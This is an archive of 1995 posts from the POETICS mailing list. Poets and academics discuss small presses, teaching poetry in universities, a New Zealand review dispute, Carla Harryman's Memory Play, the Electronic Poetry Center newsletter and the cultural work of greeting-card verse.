Ed, it's not the "humble mumble" that wears on me, rather all the "unhumble mumble." But Gary is hoovey groovey, and probably does the hokey cokey pokey, perhaps even with his whole self.

I'm not certain who the editor of O Press was in 1978. But it's interesting that the translator of the book in question, Gary, was Annabel Levitt. Annabel had a press, I believe, in the late 70's/early 80's. I think it was at the 1982 NY Small Press Book Fair that I met her. I never knew her well, but I remember she was making some exceptional books. I don't remember if her press was O Press, but I'll try to find out.

all best,
charles alexander

↑ Index

310. Mn Center For Book Arts
Re: Groovy Books
Mon 20 Mar 1995

I don't know how Wesley Tanner would think of being characterized as AMAZING and HISTORICAL. He is alive & well, now in the midwest, but I'm not certain if he's continuing to publish literature via ARIF imprint.

charles alexander

On Mon, 20 Mar 1995, George Bowering wrote:

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>
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↑ Index

311. eric pape
Re: poetry v the sharp mind
Tue 21 Mar 1995

This is a discussion that will not go away (various manifestations of which has show up at least three times since I joined the list in Dec.) Some notes towards thoughts about the ethics of poets remaining in the academy: First: both sides depend on a rather simple opposition of real work, vs. work that is unimportant. In that the classroom emphasizes critical work and talks of "creative" work as something resembling a hobby, or play. Depends on the assumption that real work is productive of wages, your critical work pays your bills, thus its your real work. The workshop (an academic sub-genre we can no longer forget) emphasizes "creative" work as real work in a sort of romantic cult of the genius manner: critical work pays the bills, but creative work releases the inner genius of the poet and allows for real change and is thus real

work. At this point, Tony's point about the somewhat specious seperation of creative and critical needs to be made. Certainly this seperation was/is historical? Maybe you've encountered this as well: in the workshop (whether officially sanctioned by the academy and made a class, or whether a group of folks who meet at the local coffee shop, or some mixture ofthe two, like this list) offers the only real resistance to the various discourses called theory I've experienced. One must not taint the sanctified ground of the workshop with theory. Also, though, the rather typical CW student may find him/herself somewhat patronized in the classroom as rather cute but not all that important, as has been noticed previously. It occurs to me that the strict separation of theory with poetry may have come about as poetry moved into the academy and was the result of academic positioning? Perhaps a little off chronologically. Why stay in the academy? The answer has to be in my mind economic and political. In here, you have the possiblity, however faint, of helping students jump classes, as I did. Get them out of the ghetto/ tenant farm. Has been so, I think, since the GI bill. Also to allow them participatein the formation of the, for lack of a better term, canon, the standards of knowledge, thus the multi-culti wars. This seems to me very positive, but as economic conditions change, and pell grants and such fall away to pay for patriot missiles, all over again, this justification may well go the way of the trade union. What then do we do then, all of us academics? Thanks, Eric.

↑ Index

312. cris cheek
Memory Play
Tue 21 Mar 1995

Hi Rae,

You aren't alone. I completley agree with you about Memory Play and am planning to publish some of it, and other work by Carla upcoming, this side of the pond. In that performance series I recently posted a Call for submissions to.

It's a terrific work. Have you seen a performance? I saw a video of There's Nothing Better Than A Theory (back on that discussion again) when visiting Carla and Barrett four years back, so I've got some points of reference for spaciality, movement, scenography. Can you describe it, aspects of the performed version ? Energies, interfusional textures ? Voices ? I've got an interest in producing a version here with Carla in the next couple of years. We're talking here about how to make it possible. Be very interested in your response.

best
cris

↑ Index

313. **I.LIGHTMAN**

Re: Letter to the Editor (longish): The Panic of Jane Stafford

Tue 21 Mar 1995

I have just re-read Alan Loney's long and fascinating letter and would like to respond to it a little. My own perspective on New Zealand writing, different from Tony Green or Wystan Curnow's, is as an ex-resident of Wellington, at the other end of the North Island from Auckland, where Tony and Wystan are, and where the best NZ collection of Language Writing and other post-war American poetry is, where the American avant-gardists tend to be invited and welcomed. I lived in Wellington for 2 years, and indeed taught on the same 2nd year poetry course as Jane Stafford, who in my recollection was one of the best and warmest of the twenty or so staff at Victoria University there. It's true that, like a lot of people I've met all over the university world, she doesn't understand or like much avant-garde work; but she does teach a lot of very good but formally conservative poets very well, and quite gratefully took on some of the twenty or so poets I tried to introduce to the course, and to my knowledge is still teaching them, poets like Louise Bogan and Carol Ann Duffy. Given that, as Alan suggest, few people seem to read poetry, and a lot are put off in school, I myself used Bogan and Duffy to meet and then stretch my students' expectations, as part of a long slow process of warming them to all the things Alan and I both love about currently marginalised work. Jane may well not do this with her teaching, but she at least has Bogan and Duffy in her handouts, and that might inspire some students. What I want to say about Alan's post is that it seems to me that no-one who isn't already a paid lit worker or academic gives a damn about reviews, and they only care about teachers' opinions in so far as the teacher cares about knowing where they're at - which, in the larger context of the dumbing of people by school & state & church, seems fair to me. Students *fear* teachers for their grades, and care about their opinions usually only for that reason, and therefore with an underlying short attention span (the length of the course-unit) and underlying contempt. I get as angry as Alan does about these reviews, but I don't think they matter very much. I have to say that one reason poetry goes unread, in what seems even more shocking proportions even than England or parts of the States, is that *all* the NZ scene is corrupt, not just the mainstream. I like to think I'm a good acquaintance of Michele Leggott, and I'd be the first to praise her efforts in getting 80 Flowers into print again - by writing the book about it, and by very brilliant diplomatic work with Paul Zukofsky. And the book itself is full of great reference-tracking and research. But I feel less impressed by the writing on the poetics, and by the bulk of her poetry that I've read. The Auckland American Poetry course that friends of mine took is in just as much

danger as any Wellington course, or any other course, of telling you to agree and preaching self-evident quality or cool in its own favoured writers. And the effect may mean that some writers I admire more with the Aucklanders than with my Wellington colleagues get onto bookshelves, yet alas they remain unread or read badly, just as most of the Plath and Heaney required on Wellington courses does. These unviersity courses all fail, in my opinion, to nurture the love of *whatever poetry each reader could learn from and progress with*. The ideal would be that teachers give skills in finding poetry and trusting your own reactions to it (I myself *hated* a lot of writers I liked later, that doesn't make me a bad person, as they say). What usually happens is you wind up with a book of poems you've had a class about, and you can repeat what the teacher said about it, but couldn't put forward your own opinion, nor could you engage with another poetry student who has a different favourite book, each opening each to each. I'd like to see more emphasis on finding work you love, among students, and *students* learning by teaching each other; instead of *teachers* finding work they love and teaching it to thirty students at once, with very little reciprocation of student teaching teacher. The rare university teacher, or person, is the one you can come to with your own project, wanting not expertise but an open mind and encouragement. The sad thing about this for me, who's never met Alan though loves his art-letterpress limited editions, is both Jane and he are better than most people I've met at engaging personibly with students, with the ideosyncractic mind; and this disagreement masks a potential alliance between people who are both really good *teachers* - in a way that is much more important, for me, to the future of poetry than badly written "house-style" reviewing. (I also think every interesting New Zealand poetry person I met or heard about is short-sightedly dismissive about all the British poetry, avant-garde included, that I ever tried to mention..., but that's another story)

Ira Lightman

↑ Index

314. Tony Green
Re: Letter from Alan Loney (preface)
Tue 21 Mar 1995

Dear Charles,

Posts re- Alan Loney's books will be forwarded. Add to his bibliography:

1 dear Mondrian. (with drawings by Robin Neate). published by Alan's hand-set press: Hawks Press, Taylors Mistake, 1976, a classic now o.p.

2 Shorter Poems 1963-77. Auckland University Press/Oxford University Press, 1979. O.P.??

3 Missing Parts poems 1977-1990 Hazard Press 1992

He also made some small edition publications with elaborate colour block printing. Squeezing the Bones (of which I don't have the biblio details) and Swell which I have here published under his imprint Black Light 1987. His fine printed books can be found in major collections, e.g. the Bodlean Library, Oxford. & Buffalo, I guess?

Add to that an essay & The Ampersand Black Light Press 1990 (the poet Denis Glover once dubbed him Ampersand Alan, because of his regular use of the ampersand in print)

His hand-set edition of Robert Creeley's "Hello" (the New Zealand section only) is a particular fetish of mine. It goes back to Creeley's first visit to New Zealand of 1976 (200 years after Cpt. Cook), which was momentous for many here.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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315. Tony Green
Re: poetry v the sharp mind
Tue 21 Mar 1995

" First: both sides depend on a rather simple
opposition of real work, vs. work that is unimportant.
In that the classroom emphasizes critical work and talks
of "creative" work as something resembling a hobby, or play.
Depends on the assumption that real work is productive of
wages, your critical work pays your bills, thus its your real work. "

Dear Eric, Your drift is interesting. The problem I start from is not "Creative Writing", but academic arts practice in Art History. The opposition you cite (useful and useless work) hits this practice, by fastening it to pseudo-scientific projects and to pseudo-scientific expository discourse, to make it "useful", i.e. Academically Approved for Publication in Refereed Journals. This

tends to exclude (I'm simplifying like crazy all the way today) narrative structures and close-response writings, or even speculative commentary and ecphrasis, all of which are included in classroom and privaste study work with any artwork.

But the opposition you cite is also precisely the one most at issue in attempts to silence academic and intellectual institutions under the guise of bottom-line economic measures. Last Saturday's New Zealand Herald (18 March)had a full page story on current attempts to destroy the independence of the Auckland Institute and Museum, a major resource for anthropology, geology, life-sciences etc in the Pacific region. The politics ultimately goes back to your opposition: if it don't earn a quick buck it is not going to get money from the public purse.

Carry the argument over into Information instead of Tangible Product and you get very differnet answers to its use.

But worst of all, whenever an institution is forced into direct control of local body politicians, it immediately loses its independence of statement on social issues (in this case on environment and social issues, such as race relations).

Resistance in the classroom by any means available has to combat some pretty deeply ingrained notions brought in by students, as regards the uses of education and the discourse systems and the direction and control of intellectual efforts.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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316. Lisa Robertson
survival of the quickest?
Tue 21 Mar 1995

"therefore I give the boys first pick"

Dear Boys,

How do I rate this container? Sievey, real sievey. Or simply spent bait?

Maybe Red Rover would be a better model for editorial methodology than musical chairs--if we persist with schoolyard tactics. But perhaps a close reading of editorial practises would be a more pertinent issue than the accusative sexing of results? At least that's my notion of how we might come to understand the ways we reproduce power and its statistics.

Cheers,

Lisa R.

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317. Wystan Curnow

Re: Letter to the Editor (longish): The Panic of Jane Staffo

Tue 21 Mar 1995

Dear Ira, Thought I ought to respond some but first to follow through on Charles' ask: Auckland University Press, University of Auckland, Private Bag 92019, Auckland, NZ is the publisher of Michele's, Alan's and also Murray Edmond's book SWITCH which was the other work under review by Jane Stafford and which I recommend to the list. Ira when you say *all* the NZ scene is corrupt, not just the mainstream, and as though giving evidence you express reservations about Michele's work, and suggest that our teaching here is as liable to fail as teaching of poetry anywhere, I really don't follow. Even if the quotes were supposed to be around *corrupt* rather than *all*--were they? The other comment I can't really let go by was 'no one who isn't already a paid lit. worker or academic gives a damn about reviews.' I can't agree. To begin with the poets concerned, and all poets in my experience, *give a damn* and so they should. Your comments are more about teaching, and you do mention the teaching we do do at Auckland. I just thought to say a couple of things about it since you seem to suggest that your general comments about the failures of poetry teaching can be readily applied to practices at Auckland. The course which is liable to be mentioned is our 3rd year,full-year course in contemporary American poetry which begins with the l950s. Of course, each course constructs a canon, and it is the case the course has one which is more or less the common ground of this list. However, its attention span is longish (24 teaching weeks) and it is seldom one poet is taught more than a week. Many poets are offerred, through lectures, through a course library and reading room, tapes of all the poets and some videos, and students are expected to develop enthusiasms, tastes of their own, through a workbook-reading journal (although we're moving away from this toward a portfolio idea at the moment). The course is team taught by three of us, more or less alternating; each has a different approach, some students responding more to one of us than the other two. We teach Wilbur, Lowell, Sexton, Poet's Theatre (O'Hara-O'Harryman),

Holzer, MacLow, Kerouac, in and amongst the mix. But it is better not to talk about the one course because the student chooses what the department more broadly offers and you'll perhaps be reassured to know that Plath and Heaney are both taught here. It is true Auckland's strength is in American rather than British poetry and that was the case even when I was a student here. It is possible to study 20th American poetry at all levels and 8 members of the department do some of their teaching in the field. It's not my impression that poetry readers procuced by the department here are the victims my taste or anyone else. But then I would say that. I'm *corrupt*.

It would be good to have some Wellingtonians on the net.
When were you in the Windy City, Ira? There's too little contact between the two cities, I have to say.
Best
Wystan Curnow

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318. **Edward Foster**
Re: poetry v the sharp mind
Tue 21 Mar 1995

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so why teach? in bronk _the new world_: "We tire of the forms we impose upon space and the restricted identities we secure from them. We tire finally even of the act of imposition itself."

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319. **Dodie Bellamy**
Re: Memory Play
Tue 21 Mar 1995

Dear Cris Cheek, I'll jump in & give my 2 cents worth on Memory Play, I am an American actor who was trapped inside the darn thing for ten months in a workshop production here in San Francisco, and I'll tell you, it took me eight and a half months before I figured out what it was "about." Harryman, the author, and Philip Horvitz, our director, were always mum whenever any of us actors asked, two Cheshire cats sitting there creamily on the sidelines, always replying only, "You decide." So finally I did. Hope you're familiar with the film "Mildred Pierce," because "Memory Play" is "Mildred Pierce" with a happy or at any rate conciliatory ending.

However I may be wrong about this. Years ago I wrote a review of Harryman's book "Vice" and stated forthrightly my belief that "Vice" must have been influenced by CH's constant viewing of the US cop show "Miami Vice." Two minutes later the phone was ringing and she denied it, saying she had never

watched MV in her life! Consequently I know a little bit about "Memory Play" but don't go by me.

I played the "Miltonic Humilator" and had a wonderful costume, designed by John Woodall, a kind of Worth gown and a huge Merlin type hat. I had to sing and dance in several production numbers, and taunt all the other characters; finally, defeated by my own love for the Pelican, I succumbed to a kind of Madama Butterfly swoon and killed myself-off stage. It was great, and Cris, you can see it on video if you have the VHS format over there.

All the other actors were good, and I was a bit abashed because CH and PH, realizing that the Miltonic Humiliator doesn't really have very many lines in the published script, and perhaps not wanting to waste my talents, allowed me, no, ordered me, to make up my own lines.

I remember initially during our first workshop version of "Memory Play," that Kathy Acker was playing the part of the "Pelican,"-I suppose CH couldn't secure Kathy for the ten months it took us to rehearse and present the play. But think of her saying those lines, her great, scabrous energy melting the proscenium.

Thanks for letting me put in my two cents on "Memory Play."

So long now-

Kevin Killian

↑ Index

320. Spencer Selby
Re: poetry v the sharp mind
Wed 22 Mar 1995

Thank you Ed for one of the best quotes, one of the best, most pertinent statements I've heard since I first signed onto this List. Bronk's statement applies to a lot more than the discussion at hand. The problem isn't just teaching. The problem is how much people seek, crave and demand every conceivable type of imposition.

On Tue, 21 Mar 1995, Edward Foster wrote:

> *so why teach? in bronk _the new world_: "We tire of the forms we impose upon space and the restricted identities we secure from them. We tire finally even of the act of imposition itself."*

↑ Index

321. **Loss Glazier**

EPCNEWS, No. 2

Wed 22 Mar 1995

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   EEEE   PPPPP  CCCCC    ____________________________________
   EE /   PP PP  CC  C/  |                                    |
   EEE    PPPPP  CC   /  |   URL=http://writing.upenn.edu/        |
  __EE  /_ PP |__ CC  C __|__                                   |
 /  EEEE/  PP/    CCCCC/    /| internet/library/e-journals/ub/rift  |
/___________________________/ |_____________________________________|
|--------------------------| |
| Electronic Poetry Center | /
|__________________________|/
 ... that the idea of an electronic
 forum for emerging poetries not
only possible but present
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E P C . N E W S No. 2 (March, 1995)

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2.0 Projects: Author "Home Page" Project
3.0 What's New: News of the EPC
4.0 RIF/T: RIF/T Notes
5.0 Stats: Poetry and the Electronic Place
6.0 FAQ: About the EPC
7.0 Access: How to Connect

1.0 Intro: Some Dynamics

How does an electronic resource differ from an electronic list? Importantly, the information is there, but _YOU HAVE TO SEEK IT_. This active participation on your part is an important aspect to the workings of the Center. Enter the web, follow links, send comments. Wouldn't it be more convenient to have material mailed to your e-mail account? In some cases this is preferable, but given the large amount of material at the Center, your account would soon overload. There is also so much material here that few people could store it in their accounts. It's available 24 hours a day, 365 days a week (except for system "down" time), an electronic all-night literary bookstore? Also, unlike material

that may be sent to your account, EPC material is loaded with *hyperlinks*, i.e., connections to other places, other times, other texts. Aren't books preferable? In some cases, this is true, however, the book is a _fixed object_, i.e., electronic documents can changed, updated, move in time to what is actually happening.

The EPC makes available a wide variety of material. The description of Internet information provided by the _Internet Services Frequently Asked Questions And Answers_ (Version 1.7 - 4 February, 1994) states:

> *The type of information you're likely to find on the Internet is free information, such as government documents, works with expired copyrights, works that are in the public domain, and works that authors are making available to the Internet community on an experimental basis. Conversely, some types of information you are not likely to find on the Internet, most notably, commercial works which are protected by copyright law.*

The EPC is testament to the fact that Internet resources do not have to be "throw-away" information. As a working site for _active_ poets, the material here is a good faith exchange of original and current texts (along with literary "classics") provided to you as part of the current conversation that makes poetry and poetics immediate and interactive. These texts, in many cases, are more current than available through any other source. No one in the Center is waiving any copyrights but has trusted you with these emerging texts in the spirit of free exchange that defines the our efforts.

2.0 Projects: Author "Home Page" Project

One of the newest developments at the Electronic Poetry Center is the development of the author library. The goal of this project is to provide authors related to or of interest to the EPC with a "home page," that is a single access point to electronic texts by and about the author.

These author home pages offer access to electronic files by and about the author, bibliographical information about the author, as well as, where available, photographs and other "documentary" information about the author.

We welcome inquiries from authors about allowing us to host your home page. For authors who maintain their own home pages, do let us know so that we might possibly provide a link to your own site.

3.0 What's New: News of the EPC

3.1 News

Congratulations to Luigi Bob Drake, editor of TREE: TapRoot Electronic Edition, which was listed in an article on ten select electronic journals on the Net in the February, 1995 issue of _Online Access_.

Also to Michael Joyce, a RIF/T and EPC contributor. Joyce's photo appears in "Of Texts and Hypertexts," a Feb. 27 _Newsweek_ article on "Computers and Creativity."

3.2 New Additions

Many recent additions have been made to the EPC. These include:

* A "what's new" feature that links directly to new resources * A facility for EPC visitors to send comments or a contribution to a collaborative poem in progress directly from the Center * Hypertextual versions of RIF/T (in progress) with "literary" links! * Information on the Basil Bunting Poetry Centre / Durham, England * Peter Quartermain's review of Charles Olson's Selected Poems * Charles Bernstein's paper, "Warning Poetry Area: Publics Under Construction" * New graphics for the EPC, RIF/T, and other "pages" * New graphical page for Bernstein and Glazier (others forthcoming) * NEW ELECTRONIC JOURNAL (Albany): _Passages_: A Technopoetics Journal

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4.0 RIF/T: RIF/T Notes

RIF/T's Transpoeisis issue, a multi-faceted and multi-format approach to the presentation of translations, has been edited and will be released shortly.

RIFT especially seeks reviews, as well as creative material and essays. These may be submitted to [redacted]

5.0 Stats: Poetry and the Electronic Place

> *Current RIF/T subscribers: 1000*
>
> *Recent activity at the EPC:*

Month	Root Connects	Total Connects
Feb 1995	1283	8083
Jan 1995	1079	6798
Dec 1994	746	
Nov 1994	573	
Oct 1994	429	
Sep 1994	367	
Aug 1994	348	

Jul 1994 614

Jun 1994 110

> *EPC Directories with the most traffic for February, 1995:*

Connects/Directory

1283 rift (EPC Home Page)
304 rift/authors
298 rift/rift
217 rift/documents
203 rift/.epc.gif
197 rift/journals
189 rift/.hotlist
183 rift/poetics
178 rift/resources
168 rift/journals/selected
141 rift/about
126 rift/about/about
117 rift/rift/rift01
115 rift/sound
111 rift/documents/conversations
110 rift/rift/rift03
102 rift/authors/more
101 rift/documents/documents

6.0 FAQ: About the EPC

The Electronic Poetry Center seeks to provide a central _place_ for Internet resources for poetry and poetics.

The Center continues to provide access to the electronic poetry and poetics journal, RIF/T, and the archives of the POETICS List. Needless to say, the EPC provides quality archival materials for these resources, including search features to allow keyword searching of the Center.

The EPC AUTHOR library offers texts and/or information about contemporary poets in a variety of formats.

A number of electronic JOURNALS are archived and distributed by the EPC. Journals distributed through the EPC differ from other e-journal archives in a significant way: the texts presented here have been checked and verified by their issuing agency thus at least getting to you versions of electronic journals in collaboration with their source.

These journals include:

DIU / Albany
Experioddi(cyber)cist / Florence, AL
Inter\face / Albany
Passages: A Technopoetics Journal / Albany
Poemata - Canadian Poetry Assoc. / London, Ontario (Info)/
RIF/T: Electronic Space for New Poetry, Prose, & Poetics
Segue Foundation/Roof Book News / New York
TREE: TapRoot Electronic Edition / Lakewood, Ohio
We Magazine / Santa Cruz
Witz / Toluca Lake, CA / via Syntax

For RESOURCES outside the EPC, we have written links to make seamless connections to these resources.

The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. Look here also for Selby's List of Experimental Magazines.

The Poetry & Poetics DOCUMENT Archive provides access to a number of documents of use to poets, teachers, and researchers. Here you will find essay material and recent obituaries.

The EPC also presently offers GALLERY, SOUND, EXHIBITS, and an ANNOUNCEMENTS area.

7.0 Access: How to Connect

The Center is located at

http://writing.upenn.edu/internet/ library/e-journals/ub/rift

(Alternatively, you may gopher to writing.upenn.edu. And use the "Search Wings" feature to locate the EPC. Web access is, however, recommended.)

Check with your system administrator if you have problems with access. Also ask about setting a "bookmark" through your system for quick and easy access to the Center when you log on.

If you have comments or suggestions about sites to be added to the Center, do not hesitate to contact Loss Pequen~o Glazier, [redacted] or Kenneth Sherwood, [redacted]. buffalo.edu

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The Electronic Poetry Center is administered in Buffalo by E-Poetry and RIF/T in coordination with the Poetics List.

Loss Pequen~o Glazier
for Kenneth Sherwood and Loss Glazier
in collaboration with Charles Bernstein

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322. **maria damon**
Re: what does it do?
Wed 22 Mar 1995

Now, i wldn't want to discount the importance of emotion, but, as i'm sure
> we've all encountered, this sort of definition often results in the
> writing/reading of a lot of "Hallmark verse," as well as in the
> establishment of a sort of poetry-as-therapy paradigm.
>
> steve shoemaker

I'm interested in this recurring formula, the hallmark-card verse, invoked as anathema to all serious modernist/postmodernist sensibilities. when i ask students to research "micro-poetries," i include greetingcard verse as an example of a micro-poetry. how can these despised, commercial fragments --or the paradigm of poetry-as-therapy, as in psychiatric-ward workshops --be understood in terms of the "cultural work" they perform? rather than dismissing them out of hand as trite and derivative, how can we use them to understand, as shoemaker suggests, the multiple "purposes" of poetry.--maria d

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323. **Steven Howard Shoemaker**
what does it do?
Wed 22 Mar 1995

It occurs to me that it might be useful to frame more directly a question that has been skirted by previous threads on the relations between poetry and experiment, poetry and politics, poetry and theory etc. Namely, what does, or should, poetry do? I wldn't want to skew discussion irrevocably toward the classroom, but my students, it seems to me, bring to their reading of poetry strong, but not particularly well-examined assumptions on this count. The dominant idea seems to be that poetry is written "from the heart," with the purpose of expressing emotions. Now, i wldn't want to discount the importance of emotion, but, as i'm sure we've all encountered, this sort of definition often results in the writing/reading of a lot of "Hallmark verse," as well as in the establishment of a sort of poetry-as-therapy paradigm. So, if these widespread views of what poetry does are inadeuate, are we up to formulating more valuable meta-statements? Is there any point in such an attempt?

And how wld these meta-formulations be tied to the sorts of delightful microdynamics on display in the recent close-reading thread?

As for the big question, i suppose my own preference tends toward the Blakean notion of cleansing the doors of perception...

steve shoemaker

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324. **John Cayley**
Re: Call for (regular) work
Wed 22 Mar 1995

> *Visual Poetry Show*
>
> *o*
>
> *All submissions must be in 8 1/2 by 11 format, camera ready.*

Triple sheesh! Talk about dancing in chains. What about a 3.5" format? Even.

PS: BTW of contrast, I've just been asked to contribute to a new London-based magazine (_Engaged_) which has been published as:

issue 1: a T-Shirt
issue 2: a 35"x52" full-colour poster (supplied with packet of wallpaper paste)
Forthcoming:
issue 3: a CD (yawn)
issue 4: a tin of alphabet spagetti (and other found objects)
issue 5: a video (zzzz -- However, this is ? the cheapest form of colour publication)
future issues will be published as live performances.

[Remember the Fluxus?]

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325. **braman sandra**
Re: what does it do?
Wed 22 Mar 1995

Steven Shoemaker -- Of course, as Auden wrote on the death of Yeats, "poetry makes nothing happen....".

A question to all engaged in the academia/non-academia discussion ... has anyone else found the academic experience driving one away from words? I found in my first quarter of graduate school that I wrote about 10X the words I had written in 10 years of adult life completely devoted to the written word, and

remember with horror the day I couldn't locate something in a document using computerized word search because there was no language being used unique enough -- in fact, it often seems the academic task to bring our language into conformity, which to my mind runs directly counter to the poetic task of always trying to use first speech.... My own response has been to move into visual work... Anyone else?

Sandra Braman

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326. George Bowering
Re: Groovy Books
Wed 22 Mar 1995

When I said that Wesley Tanner is historical I was not saying that he was not alive and well. History does not mean death, at least not in my view. Maybe I have a Special View of History.

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327. George Bowering
Re: "The Tunnnel" by Wm. Gass
Wed 22 Mar 1995

Thanks for info, Ken.

I checked Books in Print, and they had an edition listed for 1992! I guess it was pulled then. It was listing at something like $24 then. Oh, I am looking forwards to this monster, nfd also for some time when I can read. Anything.

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328. maria damon
Re: what does it do?
Wed 22 Mar 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Re Maria Damon's question about the cultural work of Hallmark cards -- I
> learned what was to me a revelation about this a few years ago when I
> came to understand that for some folks I met through doing martial arts
> who are not verbally articulate in any way, hallmark cards -- and popular
> songs on the radio -- are significant speech. One fellow, in particular,
> would get enormously upset if he felt that the new hit of each week
> wasn't expressive of his own perspective, thoughts, and feelings -- like
> they'd "gotten it wrong" .... This fellow and others used the songs and

> the cards to speak FOR them, felt intimately connected with them, etc.
> Sandra Braman

in relation to this, there's a scene in the movie Chicks in White Satin, which I didn't see but heard quite a bit about, and which is about the marriage of two women, a "trite" greeting card becomes a focal point of emotion, and, said the friend describing the scene to me, what would otherwise have been laughable became quite transcendently moving and convincingly "authentic." what made the card a conveyor of "authentic" feeling,i believe, was the women's reaction to it --their feelings. these are the kinds of saturated moments that compel my attention. so thanks for your comments above about your acquaintances who you identify as not verbally oriented --can you say more about how their feelings of identification, of being spoken for, were conveyed? if they were convincing to you, what was it that convinced you? the vehemence of your martial arts colleagues' expression? the astuteness of their analyses? --maria d

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329. **braman sandra**
Re: what does it do?
Wed 22 Mar 1995

Re Maria Damon's question about the cultural work of Hallmark cards -- I learned what was to me a revelation about this a few years ago when I came to understand that for some folks I met through doing martial arts who are not verbally articulate in any way, hallmark cards -- and popular songs on the radio -- are significant speech. One fellow, in particular, would get enormously upset if he felt that the new hit of each week wasn't expressive of his own perspective, thoughts, and feelings -- like they'd "gotten it wrong" .... This fellow and others used the songs and the cards to speak FOR them, felt intimately connected with them, etc. Sandra Braman

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330. **Ryan Knighton**
Re: what does it do?
Wed 22 Mar 1995

In response to Steve Shoemaker's question, maria daemon writes:
>
> I'm interested in this recurring formula, the hallmark-card verse, invoked as
> anathema to all serious modernist/postmodernist sensibilities. when i ask
> students to research "micro-poetries," i include greetingcard verse as an
> example of a micro-poetry. how can these despised, commercial fragments --
or

> the paradigm of poetry-as-therapy, as in psychiatric-ward workshops --be
> understood in terms of the "cultural work" they perform? rather than dismissing
> them out of hand as trite and derivative, how can we use them to understand, as
> shoemaker suggests, the multiple "purposes" of poetry.--maria d
>

The value of these forms of writing goes beyond, perhaps, poetry. Grice, for example, used psychiatric-ward writings and taped dis- cussions in his research. This research yielded the expansion and adaptation of Kantian maxims to discourse analysis (i.e. the Cooperative Principles of "relevance", "cohesion", "manner", etc...). His findings are very political insofar as they disclose another relationship between power and language (i.e. rights of passage into discursive communities). As far as Hallmark goes? Who knows?

Ryan Knighton

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331. Sheila Murphy
Re: what does it do?
Wed 22 Mar 1995

Steve's question about what poetry should do makes me think immediately of reframing the question to something on the order of "How might poetry surprise us?" or "What COULD any particular entity BECOME?" I think that precalling this would likely phase out (prior to conception) many possibilities.

Of course, I understand that this question relates to levels of truth. At a certain level of consciousness (that of the students to whom Steve alluded), we have to address from square one the expectations of people for whom much of what we suspect ourselves of being fluent in is brand new.

SEM

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332. Tony Green
Coercive teaching
Wed 22 Mar 1995

Dear Yesterday afternoon I said in a tutorial (Art History Stage III): "I heard a discussion recently [in fact Ira Lightman's comments about American Poetry as taught in Auckland] in which someone claimed that every department teaching poetry made students agree with their views, because otherwise they'd give them poor grades". Three students agreed that at St I and II they

felt themselves subjected to some pressure, though one said: "it depends on who you're tutor is" . Another student denied it hotly, saying that in her experience it was not like that at all, she had been encouraged to find out for herself what she thought and what she pursued. She went on to say that this was the Contemporary American Poetry class she was talking about. I've sat in on Roger Horrocks's and Wystan's classes and I've never thought that they were imposing a canon or criteria or opinions on their students. I can't see what the personal warmth of Jane Stafford or the supposed corruption of all New Zealand teaching of poetry has got to do with Alan Loney defending himself as a writer from continuing undermining by largely unsympathetic readers. It is a not insignificant fact that the review that Loney objects to is in a magazine that has public money supporting it, while the attempts to get a magazine published with more supportive attitudes has been rebuffed.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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333. braman sandra

Re: what does it do?

Thu 23 Mar 1995

Maria Damon asks what was so convincing about those folks who used hallmark cards and popular songs as their own expression -- These folks in general had their intelligence largely in their bodies -- the one fellow in particular looked like Baryishnikov when he moved -- more than in their brains, so to speak, so it sure wasn't astuteness of analysis.... I was convinced I guess because of these things: - constancy of attention to and use of popular songs and cards over time as a means of expression - some anxiety each week waiting to see what the hits were on the radio, and discussion as soon as they were known as to their accuracy and appropriateness. when songs weren't appropriate, genuine gut level concern and response -- stomping about, going over and over what was wrong, etcetera -- really upset - in thinking back, one manifestation that should seem particularly familiar to poets -- a fair amount of time spent trying to copy out greetings or write down words to songs in a way that had to be accurate from beginning to end -- one mistake and the paper is crumpled, have to try

again - incorporation of words from cards and songs into daily speech, and some dependence upon those sources of words, which constituted a fair percentage of language used in either oral or written forms

Ultimately I understood that while these folks had all the same emotions as we, they had no original means of verbalizing those emotions and thus relied entirely on the language of mass culture as exhibited particularly in these 2 forms, resulting in a complete identification with mass culture. I've come to understand language use on a spectrum of originality, with poets at one extreme attempting always first speech, and folks such as these at the other extreme, completely mapped onto the most mass of mass culture, with varying degrees of embeddedness in the culture in-between. Academic writing, it seems to me, is writing engaged always in the process of attempting to bring new ideas -- now make sure not too many at one time, or too original -- into embeddedness in the culture through coercion of language use into one might say dogmatic forms.

The impact of exposure to these folks -- and let me emphasize this is of course not everyone involved in martial arts, but a particular group I encountered in a particular place at a particular time (St. Cloud, Minnesota, mid-1980s) -- certainly I've met many, many other folks involved in martial arts of one form or another who are extremely articulate. In fact, I think Daphne Marlatt was the first person to talk to me about Tai Chi, which is what I was studying.... -- anyhow the impact on me of exposure to these folks was to have a completely different appreciation of the role of mass culture. And I have the sneaking suspicion that there are more folks like the ones I'm talking about than there are folks like "us"....

When I say St. Cloud I should also point out that the folks there came actually from all over the country; the one fellow in particular from rural upstate New York. We were all gathered around a brilliant master, the fellow who brought tai chi to this country, Master T. T. Liang, who was then in his late 80s.... and I hear is still teaching, now in Minneapolis, those of you who are there....

Sandra Braman

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334. **Blair Seagram**

Re: Goya's LA, a play by Leslie Scalapino

Thu 23 Mar 1995

A reminder that on Friday March the 24th -

Jandova CoMotion Inc.
and
Drogue

present a work in progress
on scenes from

Goya's LA

a play by
Leslie Scalapino

at
Context
28 Avenue A
(between 2nd & 3rd)
New York, NY 10009

on
Friday March 24th, 1995
at 8:30 pm

For reservations call [redacted]
Suggested donation $7

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335. **Jeffrey Timmons**

Re: Why Teach? (fwd)

Thu 23 Mar 1995

---------- Forwarded message ----------
Date: Tue, 21 Mar 1995 21:25:10 -0700 (MST)
From: [redacted]
To: UB Poetics discussion group <[redacted]>
Cc: Multiple recipients of list POETICS <[redacted]>
Subject: Re: Why Teach?

Because I have been absent so long:

On Tue, 21 Mar 1995, Edward Foster wrote:

